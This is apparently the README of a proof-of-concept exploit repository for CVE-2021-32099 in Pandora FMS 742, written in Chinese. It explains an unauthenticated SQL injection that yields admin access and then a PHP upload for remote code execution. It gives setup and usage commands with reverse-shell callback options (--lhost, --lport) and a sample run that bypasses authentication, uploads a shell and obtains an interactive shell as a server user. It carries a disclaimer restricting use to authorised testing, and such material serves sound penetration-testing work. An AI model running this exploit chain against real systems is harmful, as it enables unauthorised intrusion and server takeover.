本仓库提供了针对 CVE-2021-32099 漏洞的**概念验证(PoC)**漏洞利用代码,该漏洞影响 Pandora FMS 742。该漏洞利用演示了未经身份验证的攻击者如何利用 SQL 注入漏洞将会话从非特权级别提升到管理员级别。获得管理权限后,攻击者可通过 Pandora FMS File Manager 上传任意 PHP 文件,从而实现远程代码执行,并以 Web 服务器用户身份入侵服务器。
本项目仅用于教育、研究和经授权的安全测试目的。
请勿在你不拥有或未经明确许可的系统上使用此代码。
作者不对任何损坏或误用负责。
python3 -m venv .venv && source .venv/bin/activate && pip install -r requirements.txt
┌───(magicrc㉿perun)-[~/code/CVE-2021-32099]
└─$ python3 ./CVE-2021-32099.py
usage: python3 ./CVE-2021-32099.py [--target TARGET] [--lhost LHOST] [--lport LPORT]
options:
--target TARGET Full URL of the vulnerable Pandora FMS instance.
--lhost LHOST IP address where the reverse shell will connect back to (must be reachable by the target). The listener will bind to 0.0.0.0 internally.
--lport LPORT Port number the reverse shell listener will bind to.
Example: python3 ./CVE-2021-32099.py --target http://target.com --lhost 10.10.14.157 --lport 4444
┌───(magicrc㉿perun)-[~/code/CVE-2021-32099]
└─$ python3 ./CVE-2021-32099.py --target http://localhost --lhost 10.10.14.81 --lport 4444
[+] Bypassing authentication...OK
[+] Uploading reverse shell...OK
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.129.177.29 on port 37308
[+] Executing reverse shell...
[*] Switching to interactive mode
Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
06:59:07 up 17:30, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(matt) gid=1000(matt) groups=1000(matt)
/bin/sh: 0: can't access tty; job control turned off
$